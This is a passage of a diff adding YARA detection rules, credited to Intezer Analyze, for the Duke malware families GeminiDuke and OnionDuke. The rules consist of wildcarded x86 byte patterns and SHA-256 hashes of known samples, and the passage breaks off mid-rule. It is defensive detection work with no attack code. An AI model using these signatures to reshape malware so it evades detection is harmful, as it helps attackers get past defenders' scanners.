+		$block_6 = { 8B ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_7 = { FF 7? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_8 = { FF 3? FF 1? ?? ?? ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_9 = { 83 ?? ?? ?? 83 ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 2B ?? D1 ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_11 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 3? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { FF 7? ?? 8D ?? ?? ?? ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? 5? FF 7? ?? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_16 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? ?? 03 ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_18 = { 0F B7 ?? 8B ?? 83 ?? ?? 8A ?? ?? ?? 0F BE ?? 3B ?? 74 }
+		$block_19 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 86 }
+		$block_21 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_23 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "6fe6aa31c6010febead115f96afd8fae7e086e2cd11032d424388bbaf3ab40fd" or
+		hash.sha256(0, filesize) == "b0959c8df85147fd7dc13c83082d2a9d8e464c7e846083d4a9850fa254482106" or
+		12 of them
+}
+
+rule GeminiDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 83 ?? ?? ?? 5? 5? 5? 0F B6 ?? 0F B6 ?? EB }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 81 F? ?? ?? ?? ?? 74 }
+		$block_2 = { 8B ?? ?? 03 ?? ?? 8B ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 8B ?? ?? 03 ?? ?? 8B ?? ?? 88 ?? ?? E9 }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? FF D? 84 ?? 0F 85 }
+		$block_4 = { 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 83 ?? ?? 5? 5? 8B ?? ?? ?? 5? 5? 33 ?? 0F B6 ?? 0F B6 ?? EB }
+		$block_5 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 8B ?? FF D? 85 ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_8 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 3B ?? 7E }
+		$block_10 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 3B ?? 7D }
+		$block_11 = { 0F BE ?? ?? 8B ?? ?? 8A ?? ?? ?? 88 ?? 8A ?? ?? 2C ?? 88 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_12 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 5? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? 88 }
+		$block_14 = { 8D ?? ?? ?? 6A ?? 5? 8B ?? 5? E8 ?? ?? ?? ?? 0F BE ?? 0C ?? 83 ?? ?? 88 ?? ?? ?? 80 C? ?? EB }
+		$block_15 = { 8B ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 5? FF D? 88 ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_16 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_17 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 2B ?? 0F B6 ?? ?? 2B ?? 8B ?? ?? 03 ?? ?? 88 ?? C6 }
+		$block_18 = { 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_19 = { 8B ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 5? FF D? 88 ?? ?? 83 ?? ?? 3B ?? 7C }
+		$block_20 = { 88 ?? ?? ?? ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? ?? 32 ?? ?? ?? 5? 88 ?? ?? ?? ?? ?? 5? C2 }
+		$block_21 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 9? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 74 }
+		$block_22 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$block_23 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_24 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_25 = { 8B ?? 8B ?? ?? 0F B6 ?? ?? ?? 8D ?? ?? 8B ?? 5? FF 5? ?? 88 ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_26 = { 5? 6A ?? 6A ?? 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_27 = { 6A ?? 6A ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 8B ?? ?? 2B ?? 66 ?? ?? ?? ?? ?? 66 ?? 0F B7 ?? 89 ?? ?? 8D ?? ?? 83 ?? ?? 0F 8C }
+		$block_29 = { 8B ?? 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? 8B ?? 5? FF 5? ?? 88 ?? ?? 4? 3B ?? ?? ?? 7C }
+		$block_30 = { 8D ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 0F BE ?? 0C ?? 83 ?? ?? 88 ?? ?? ?? FE ?? EB }
+		$block_31 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 2B ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 3B ?? 7C }
+		$block_32 = { 8B ?? ?? ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_33 = { 88 ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_34 = { 8A ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_37 = { 8B ?? ?? ?? 8A ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_38 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 32 ?? 38 ?? 5? C6 ?? ?? ?? 8B ?? 88 ?? ?? 0F 84 }
+		$block_39 = { 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 01 ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_40 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? ?? 32 ?? ?? ?? 88 ?? ?? ?? ?? ?? 5? C2 }
+		$block_41 = { 0F B6 ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_42 = { 5? 8B ?? 5? 89 ?? ?? 8B ?? ?? 0F B6 ?? ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_43 = { 8B ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? 5? 0F 95 ?? 83 ?? ?? C3 }
+		$block_44 = { 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_45 = { 0F B7 ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 80 7? ?? ?? ?? 8B ?? 74 }
+		$block_46 = { 8B ?? ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_47 = { 8B ?? ?? 0F B7 ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 38 ?? ?? 74 }
+		$block_48 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? ?? ?? 0F 83 }
+		$block_49 = { 8B ?? ?? 03 ?? ?? 2B ?? ?? 66 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 85 ?? 75 }
+		$block_50 = { 8B ?? ?? 8B ?? ?? 0F AF ?? 8B ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 }
+		$block_51 = { 5? 8B ?? ?? ?? 32 ?? 38 ?? 5? C6 ?? ?? ?? ?? 8B ?? 88 ?? ?? ?? 0F 84 }
+		$block_52 = { 33 ?? 6A ?? 5? F7 ?? 0F BE ?? 80 C? ?? FE ?? 85 ?? 88 ?? ?? ?? 75 }
+		$block_53 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 2B ?? 0F B6 ?? ?? 3B ?? 7C }
+		$block_54 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 85 ?? 0F 84 }
+		$block_55 = { 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_56 = { 0F B6 ?? 8A ?? ?? 88 ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_57 = { 5? 8B ?? 5? 5? 33 ?? 33 ?? 39 ?? ?? 5? 8B ?? ?? 89 ?? ?? 0F 8E }
+		$block_58 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_59 = { 5? 8B ?? 5? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_60 = { 0F B7 ?? ?? 0F B7 ?? ?? 99 F7 ?? 88 ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_61 = { 8B ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_62 = { 5? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_63 = { 8A ?? ?? 5? 5? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_64 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 8B ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 }
+		$block_65 = { 0F BE ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_66 = { 5? 8B ?? 5? 5? 33 ?? 39 ?? ?? 5? 5? 8B ?? 89 ?? ?? 0F 84 }
+		$block_67 = { 8A ?? ?? 84 ?? 8B ?? ?? 0F BE ?? 8D ?? ?? ?? C6 ?? ?? 75 }
+		$block_68 = { 6A ?? 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 5? 8B ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 79 }
+		$block_70 = { 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_71 = { 0F B6 ?? ?? 0F B6 ?? ?? 33 ?? 3B ?? 0F 9F ?? 8A ?? E9 }
+		$block_72 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 75 }
+		$block_73 = { 8B ?? ?? 8B ?? ?? 0F AF ?? 8B ?? ?? 5? 8D ?? ?? ?? E8 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_75 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 85 ?? 75 }
+		$block_76 = { 8A ?? ?? ?? 84 ?? 0F BE ?? 8D ?? ?? ?? C6 ?? ?? 75 }
+		$block_77 = { 0F B6 ?? ?? ?? ?? ?? 4? 25 ?? ?? ?? ?? 5? 5? 79 }
+		$block_78 = { 0F B6 ?? ?? 0F B6 ?? ?? 33 ?? 3B ?? 0F 9F ?? E9 }
+		$block_79 = { 0F B6 ?? ?? 0F B6 ?? 2B ?? 0F B6 ?? ?? 3B ?? 7C }
+		$block_80 = { 0F B7 ?? ?? 0F B7 ?? 99 F7 ?? 84 ?? 88 ?? ?? 74 }
+		$block_81 = { 8B ?? ?? C1 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_82 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 3B ?? 7C }
+		$block_83 = { 0F BE ?? ?? C6 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_84 = { 5? 5? 33 ?? 33 ?? 39 ?? ?? ?? 89 ?? ?? ?? 0F 8E }
+		$block_85 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 8C }
+
+	condition:
+		hash.sha256(0, filesize) == "bc54acf4e60688ea668ef40ef965f2bad41dcf260ddae26d28b5551461c4b402" or
+		hash.sha256(0, filesize) == "1323e3d7656a427733663f03b3037326ffa9c57c68fa8e014a5bf7cb1455359a" or
+		hash.sha256(0, filesize) == "a8b01a219a9fe565aadf82bc28b60048c60b640e780386c7a84a425049df5af9" or
+		hash.sha256(0, filesize) == "ce2c4dd21b99407bfa7066a6a57d180c00527e7db8ee52558c597550ac8b5d7c" or
+		hash.sha256(0, filesize) == "7b9e542426408aa384d0394820f82f330e615a1ad17a777d04720458b33b08a3" or
+		12 of them
+}
+
+rule OnionDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { A1 ?? ?? ?? ?? 0F B7 ?? ?? 8A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? C6 ?? ?? ?? 85 ?? 74 }
+		$block_2 = { 89 ?? ?? 89 ?? 8B ?? ?? 89 ?? ?? C6 ?? ?? ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 33 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 8B ?? 83 ?? ?? 0F 8D }
+		$block_4 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 5? 8B ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? 89 ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 8B ?? ?? 8B ?? 89 ?? ?? C6 ?? ?? ?? 3B ?? 0F 8C }
+		$block_6 = { 0F B7 ?? ?? ?? 8D ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 8B ?? 6A ?? 8B ?? 75 }
+		$block_7 = { 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? FF D? 8B ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? FF D? 3B ?? ?? ?? 0F 83 }
+		$block_8 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? 0F 94 ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_9 = { FF D? 8B ?? 8B ?? 6A ?? 8B ?? FF D? 33 ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_10 = { 8B ?? ?? 83 ?? ?? ?? 8B ?? ?? 4? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_11 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? FF D? 8B ?? ?? 5? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_12 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? FF D? 0F B7 ?? ?? ?? 8D ?? ?? ?? 3B ?? 0F 85 }
+		$block_14 = { 5? 8B ?? 5? 5? 0F B6 ?? ?? C1 ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 5? BF ?? ?? ?? ?? 3B ?? 73 }
+		$block_15 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 89 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_16 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 8B ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 5? C6 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_19 = { A1 ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? 8B ?? FF D? 8B ?? 89 ?? ?? C6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_21 = { 33 ?? 6A ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_22 = { 8B ?? 8B ?? ?? 2B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 }
+		$block_24 = { C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? 39 ?? ?? 0F 82 }
+		$block_25 = { 8B ?? 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? 6A ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_27 = { 5? 8B ?? 5? 5? 5? 8B ?? 8B ?? ?? 8B ?? 8B ?? ?? 5? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_28 = { 2B ?? 5? 89 ?? ?? 8D ?? ?? 5? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 2B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? 5? FF D? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_31 = { 5? 5? 6A ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 85 ?? 0F 95 ?? 89 ?? ?? 5? 8B ?? C3 }
+		$block_32 = { 8B ?? 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_33 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? 83 ?? ?? ?? 0F 85 }
+		$block_34 = { C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? 39 ?? ?? 0F 82 }
+		$block_35 = { 8B ?? ?? 5? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_37 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 8B ?? ?? 5? 5? 8B ?? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 6A ?? 8D ?? ?? 5? 5? 8B ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_39 = { 8B ?? ?? 5? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 98 ?? 83 ?? ?? ?? 72 }
+		$block_40 = { 8B ?? 8B ?? ?? 8B ?? FF D? 6A ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_41 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_42 = { 0F B6 ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 8B ?? 6A ?? 8B ?? FF D? }
+		$block_43 = { 0F B6 ?? ?? 88 ?? ?? 0F B6 ?? 88 ?? ?? 0F B6 ?? ?? 88 ?? 4? 4? 3B ?? 72 }
+		$block_44 = { 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? 8D ?? ?? 33 ?? 3B ?? 0F 94 ?? C6 ?? ?? ?? 8B ?? 83 ?? ?? 72 }
+		$block_46 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? ?? 32 ?? 0F B6 ?? 66 ?? ?? ?? 4? 3B ?? 72 }
+		$block_48 = { 8B ?? 8B ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_49 = { C6 ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? 39 ?? ?? 0F 82 }
+		$block_50 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_51 = { 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? 5? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_52 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_53 = { 5? 8D ?? ?? 5? 89 ?? ?? 8B ?? 6A ?? 5? 8B ?? ?? FF D? 85 ?? 0F 85 }
+		$block_54 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 5? 5? FF D? 3B ?? 0F 8C }
+		$block_55 = { FF 1? ?? ?? ?? ?? 33 ?? 3D ?? ?? ?? ?? 0F 94 ?? 8B ?? 85 ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 8D ?? ?? 89 ?? ?? ?? 3B ?? 0F 87 }
+		$block_57 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? FF D? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_58 = { 8B ?? ?? 33 ?? 85 ?? 0F 95 ?? 5? 5? 89 ?? ?? 5? 8B ?? 8B ?? 5? C3 }
+		$block_59 = { 8B ?? ?? 0F AF ?? 03 ?? ?? 8B ?? 5? 8B ?? ?? 5? 5? FF D? 3B ?? 74 }
+		$block_60 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 8B ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 8B ?? 3B ?? 0F 85 }
+		$block_62 = { 8B ?? 8A ?? ?? ?? 32 ?? ?? 4? 0F B6 ?? 66 ?? ?? ?? ?? 3B ?? 72 }
+		$block_63 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 82 }
+		$block_64 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? FF D? 3B ?? 0F 84 }
+		$block_65 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_66 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 8B ?? ?? 5? FF D? 8B ?? 3B ?? ?? 75 }
+		$block_67 = { 8B ?? ?? 03 ?? 33 ?? 3B ?? 0F 94 ?? C6 ?? ?? ?? 83 ?? ?? 72 }
